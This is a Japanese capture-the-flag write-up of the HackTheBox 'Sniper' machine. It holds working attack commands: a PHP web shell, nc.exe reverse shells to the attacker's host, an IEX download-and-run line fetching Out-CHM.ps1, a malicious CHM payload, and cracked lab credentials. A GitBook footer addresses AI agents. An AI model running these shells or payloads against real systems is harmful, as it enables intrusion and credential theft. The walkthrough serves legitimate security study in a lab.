> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md).

# Sniper HackTheBox攻略記事

Local File Inclusion（LFI）、Remote File Inclusion（RFI）（失敗）、SMBサーバー経由のRemote File Inclusion（net usershare手法）（成功）を扱うSniper HackTheBox Medium Windowsマシンの攻略記事

{% embed url="<https://app.hackthebox.com/machines/211>" %}

{% hint style="warning" %}
スキル:

* ローカルファイルインクルージョン（LFI）
* リモートファイルインクルージョン（RFI）（失敗）
* SMBサーバー経由のリモートファイルインクルージョン（net usershare手法）（成功）
* Webシェルを作成してリモートコマンド実行（RCE）を達成
* 情報漏えい（ユーザーピボット）
* Chisel と ScriptBlocks を Invoke-Command で試す
* 悪意ある CHM ファイルの作成（Out-CHM.ps1）（権限昇格）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b6915b94d27c4eb318bb317a73b39600762c4cd%2F%7BFDDC6D48-0A83-472B-97D2-D6A5435D14DB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13d9ebdae73de7486675a6b3976efd0eb51231fb%2Fimage%20(2481).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9d9d333f2c9efa3cade1b43e7c99b624921d68b%2F%7B58A19F4B-5FC2-44C6-8072-DD60D1D58649%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts 関数を使って開いているポートを簡潔な形式で表示し、クリップボードにコピーする。（80,135,139,445,496,67）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2704e5557c18309c801c5be29649d87d029abd1%2F%7BA9AC10F6-49A6-48B5-BE8C-704DC359D9E6%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmapによるポートバージョンスキャン：**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-369f97c376a352dcecd0ad895e54166b63cbb04f%2F%7B5C4B5ADC-0CB1-4C63-A2FC-152E99EEA0E7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### ポート80:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38ff6b874ca4bbffedfdadd9923ff89d3597331a%2F%7BA46BCCC8-15D5-4B86-BF5D-77D3D6A3777A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**による分析 `whatweb`:**

私たちは `whatweb` を使って、Webサーバーで使用されている技術を特定した：

{% code overflow="wrap" fullWidth="false" %}

```bash
whatweb 10.10.10.151
http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1]
```

{% endcode %}

## **脆弱性 LFI：**

言語変更ページには、 `lang` パラメータがあり、選択した言語に応じて異なる PHP ファイルを読み込むようになっていた。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba81e253c257b72b3cd3df15d59995994eac3938%2Fimage%20(2483).png?alt=media" alt="" width="366"><figcaption></figcaption></figure>

ローカルシステムのファイルでテストした：

```url
http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts
```

* これにより、次の内容を表示できた。 `hosts` ファイルに存在するユーザーに対して試します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6aae1a3f300054bff149c9f79b10b3715b74b0b1%2F%7BCC466D14-D0E1-4C0A-BB7B-AEB791A681CB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**機密ファイル読み取りの試行を `php://filter`:**

LFI を使って読み取ろうとした。 `index.php` Microsoft IIS Webサーバーのファイルは `/inetpub/wwwroot/index.php`にあるが、 `php://filter` 経由の操作はうまくいかなかった。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f6952fbeb4aeaed806b4b5c302123c6281ffd29%2F%7BAEB894E3-AD72-4E6B-93DA-220BA22330D4%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

```url
php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66d26389be7361c43d2f2dd11b32b5f7b1441a0a%2F%7B0D4D16A0-7B64-4E4E-8675-A9F2ADF10280%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### リモートファイルインクルージョン（RFI）（失敗）

#### リモート Web サーバー経由の RFI テスト：

私たちは `?lang=http://10.10.14.3/index.html` URL を使って、Python3 のローカル Web サーバーを指すことでリモートファイルを読み込もうとした。

```bash
python3 -m http.server 80
```

```url
?lang=http://10.10.14.3/index.html
```

しかし、うまくいかなかった。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c972571255d4270db5870c0386e2d19446b3217%2F%7B264F5A3B-1949-4DF5-A1B7-C15A83A37390%7D.png?alt=media" alt="" width="518"><figcaption></figcaption></figure>

## リモートファイルインクルージョン（SMBサーバー）

**SMBサーバーを作成：**

私たちは `smbserver.py` を使ってローカル SMB サーバーを作成し、現在のディレクトリを共有した：

```bash
smbserver.py share $(pwd) -smb2support
```

それから、 `lang` パラメータ

```bash
?lang=/10.10.14.3/share/index.html
```

* パラメータを変更して SMB サーバーからファイルを読み込もうとしたところ、 `index.html` 今回はサーバーがファイルを正しく解釈し、その内容（"Hello World"）を表示した。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b299bc3d7f0a2787f429db429a43a5716cafff59%2Fimage%20(2484).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**PHP Webシェルファイルを作成（`cmd.php）`**

私たちは `cmd.php` ファイルを SMB サーバー上に作成し、 `cmd` パラメータ：

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

/*/* SMB/ 経由でリモートコマンドを実行するため&#x306B;*/*

```bash
//10.10.14.3/share/cmd.php&cmd=<command>
```

次の URL を使って、 `whoami` コマンド:

```bash
//10.10.14.3/share/cmd.php&cmd=whoami
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-401653792fb5d99d8b43d1b66c01a3c526766e0b%2Fimage%20(2485).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### リバースシェル（nc.exe）

**ダウンロード `nc.exe` リバースシェル用に：**/ 私たちは `nc.exe` 実行中のツールからバイナリを回収し、 `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` にコピーして作業ディレクトリに配置した。

```bash
nc.exe を探す 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

**ポート 443 で待ち受け：**/ 私たちは `nc` を使って、ポート 443 で待ち受けるリスナーを設定した：

```bash
rlwrap nc -nvlp 443
```

**SMB 経由でリバースシェルを実行：**/ それから私たちは `cmd` パラメータをファイルに向けて、リバースシェルを起動した

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443
```

その結果、自分たちのマシンへリバースシェルを取得できた。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-219834e61616dd01b70028fc6d4d70935b8cf3b0%2F%7B54444252-CE2B-492D-8A2D-7B143D3AB383%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 権限昇格

**機密ファイルを検索：**/ PHP ファイル内の機密情報を探したところ、 `db.php` ファイルを見つけ、データベースの認証情報が含まれていた：

* ユーザー： `dbuser`
* パスワード: `36mEAhz/B8xQ~2VM`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b7d5f894b790e654823bbff405ccff335e56fb4%2Fimage%20(2486).png?alt=media" alt=""><figcaption></figcaption></figure>

**別ユーザーの認証情報の検証：**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee4fec3cbeac4d8833f5b2a07b9071a06e70e602%2Fimage%20(2487).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

私たちは **Chris** という別のユーザーがいることを発見し、さらに **管理者**。私たちは **CrackMapExec** を使って、 `Chris` 認証情報が有効かどうかを確認した：

```bash
crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* 接続は成功した。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d2b6fb4c68868d7e92cda08e40e05d2929918d0%2Fimage%20(2488).png?alt=media" alt=""><figcaption></figcaption></figure>

**ユーザー "Chris" の権限を確認：**

* 私たちはユーザー `Chris` が **リモート管理ユーザー** グループに属しており、リモート接続が可能であることを確認した。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5512fcc7d80b6b4bb69d10ee00bfbe05f8264f22%2Fimage%20(2489).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

/*/* 開いているポートの分析：/*/*

リモート接続に必要なポート（WinRMで使われる 5985 番ポート）は外部からは開いておらず、内部向けだった。私たちは `netstat` を使って、対象マシンで待ち受けているポートを確認した：

```bash
netstat -an | findstr "LISTEN"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ecfb4852b3a69880b17a0f8e0eb1b0d9c4277453%2Fimage%20(2490).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## ポート転送（5985 WinRm）

### 1. PowerShell

私たちは攻撃用マシンで PowerShell を起動した：

```bash
powershell
```

コマンド `hostname`を使って Windows 環境名を取得し、ホスト名が `スナイパー`.

```powershell
hostname
```

であることが分かった。次にユーザー用の変数を作成し、 `Chris` でパスワード用の別変数を作成した。 `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

その後、 `PSCredential` オブジェクトを作成し、対象マシンでリモートコマンドを実行できるようにした：

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**リモート制御の実行：**/ 次のコマンドを使って `whoami` をリモートで実行し、アクセスを確認した：

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* これにより、確かに **Chris**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0135fe9e7c807d77b3551354ec1c94572cf7ca0d%2F%7BC164E196-15F9-47E9-8181-332E588D62FD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**リバースシェル：**/ システムへ完全アクセスするため、ポート 4444 でリスナーを立てた：

```bash
rlwrap nc -nlvp 4444
```

それから `nc.exe` を使ってリバースシェルを実行した：

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99c89f22dcac66e737d1273b2348e8a191165c7c%2Fimage%20(2491).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 2. Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**ファイルのダウンロードと準備：**/ 私たちは圧縮された **Chisel** ファイル、すなわち:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

解凍後、 **Chisel** Windows 用ファイルを対象マシンへ転送した：

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d526647ace8cb7f952d5af57ecbf78da978c6211%2Fimage%20(2493).png?alt=media" alt=""><figcaption></figcaption></figure>

**Chisel で攻撃マシン側を待ち受ける：**/ 私たちは **Chisel** をポート8888で攻撃側マシン上のサーバーモードで:

```bash
./chisel-linux server -p 8888 -reverse
```

その後、対象の Windows マシン上で **Chisel** をクライアントモードで実行し、攻撃マシンへ接続してポート 5985 を自分たちのマシンへ転送した：

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-438d6ad367a6619e2fe2763af5ebc98ca1ea9fa4%2F%7B67FDA5FA-CB70-4448-A6D8-C4DFFDA14342%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**転送後のポート確認を `lsof`:**/ ポート転送後に、コマンドで 5985 番ポートが正しく転送されていることを確認した：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c7b4eaa07406f6667566789036aa68d2536bb0d%2Fimage%20(2494).png?alt=media" alt=""><figcaption></figcaption></figure>

**WinRM でログイン：**/ 私たちは **CrackMapExec** を使って **WinRM** 経由の接続を、転送した 5985 番ポートでテストした：

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* 記号を得て、 **侵害済み**WinRM 経由でマシンにアクセスできたことを確認した。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7fbecdfef69471669790d99c4e16d51399c5d8e%2F%7B7D3C96BD-38E1-4A27-ABBD-256E01F7E278%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Evil-WinRM による最終接続：**/ 最後に、私たちは **Evil-WinRM** を使って **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62860bda2173707fcb8ff5e3350438efec6ba5d9%2F%7B28DB7A19-C223-4B29-9A72-A37E0D642FA8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**「docs」ディレクトリの探索：**/ のルートに **Windows**、フォルダー **docs** という名前のフォルダを見つけます。 `note.txt` ファイルを見つけ、次のメッセージがあった：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f27d8c2d5253a54b9a504d899e563939f0bade2%2Fimage%20(2495).png?alt=media" alt=""><figcaption></figcaption></figure>

> こんにちは Chris、
>
> あなたの PHP スキルは本当にひどい。Yamitenshi に連絡して使い方を教わり、その後サイトを修正しなさい。バグがたくさんあります。新しいアプリケーションのドキュメントも準備しておいてください。終わったらここに置いてください。
>
> 敬具、/ Sniper CEO.

**システム内でドキュメントを検索：**/ CEO が言及したドキュメントを探したところ、 **Downloads** ディレクトリの下にある **instructions.chm** ファイルに存在するユーザーに対して試します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-96260baa7b6d285ec416c3ea8661fab8ac19d188%2Fimage%20(2496).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **悪意ある CHM ファイルの作成：**

CEO が表示したいと思っていたと分かった後、 **CHM** ファイルがある **docs** ディレクトリについて、悪意ある CHM ファイルの作り方をインターネットで調べた。

{% embed url="<https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1>" %}

**HTML Help ツールをダウンロード：**/ 私たちは **HTML Help** をダウンロードし、PowerShell スクリプトを使って悪意ある CHM ファイルを作成した

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1')
```

その後、スクリプトを修正して、 **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-14e3664ea5513e709b0a1b28a5531ea3e5821454%2F%7B94D63DBE-CA13-43CE-A16C-513DF8654BA6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee38606559c9f59c21d8f14ecf8ed3815b35f0ec%2F%7BD4FF2C78-CD9D-40A8-9E2F-1A38954D0959%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**悪意ある CHM ファイルの対象ディレクトリへの投入：**/ 攻撃用マシン上に SMB サーバーを構成し、悪意あるファイルを対象の Windows マシンへ転送した：

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234
```

/*/* 被害マシンから SMB 共有に接続：/*/*/ 対象の Windows マシンから SMB 共有をマウントし、悪意ある `doc.chm` ファイル：

```powershell
net use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm
```

**リバースシェル待ち受け：**/ 攻撃用マシンでリスナーを起動し、リバースシェル接続を待った：

```bash
rlwrap nc -nlvp 443
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f26e0b7e81bef0ff65663f9f3f845cb6fd46580%2Fimage%20(1033).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50bebdbafaa2aa8f8b1a0c465de76c2405e881a1%2Fimage%20(1034).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

/*/* 発生した問題：/*/*/ CHM ファイルは表示されたものの、リバースシェルは受信できなかった。しかし、 **SMB Relay V2** をサーバー上で捕捉できた。これにより、ユーザーの認証ハッシュが得られた `管理者`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3efb1c6763f54e56ba7bcef32d7ba7dc50cc371e%2Fimage%20(1035).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Administrator ハッシュをクラック：**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`Administrator:butterfly!#1`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df397d07c9e785acfd58ad1d5315200cb80fe643%2F%7B207D90E0-6246-48CB-B5FF-80F5B9BAC1B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **管理者としてログイン：**

得られた認証情報を使って、 **Evil-WinRM** を管理者として接続した：

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8478e0d89721e97efd4efa65a38a2c8c690a711d%2F%7B04376DF4-AFFA-473A-8C14-35B3800CE43C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c2c9ca17923aca1a90c4e2ed9cb52b988809e6a%2F%7B9A1DEF2C-6F87-486F-A2BB-88638E7F7E14%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-443079a66730b12d7a8288bfca59c0d51e952885%2F%7B1755EF50-6634-4549-81C9-9BC735645AD6%7D.png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
